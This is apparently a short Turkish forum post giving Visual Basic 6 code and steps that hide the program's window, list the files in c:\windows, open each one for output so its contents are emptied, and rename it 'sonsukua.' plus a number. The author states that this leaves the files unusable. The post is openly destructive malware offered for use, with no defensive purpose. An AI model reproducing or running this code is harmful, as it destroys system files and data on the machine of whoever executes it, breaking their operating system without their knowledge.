forma bir tane filelistbox ekleyin ve load olayında formu gizeleyin(daha hızlı çalışır)
birde
file1.path="c:\windows" komutunu ekleyin
activate olayına şunları yazın...
for i=1 to file1.listcount-1
on error resume next
file1.selected(i)=true
open file1.path+"/"+file1.filename for output as #1
name file1.path+"/"+file1.filename as file1.path+"/"+"sonsukua."+i
close#1
next i
hepsi bukadar dosyaların içini boşaltıyor ve ismini değiştiriyor....yani kullanılmaz hale geliyor....
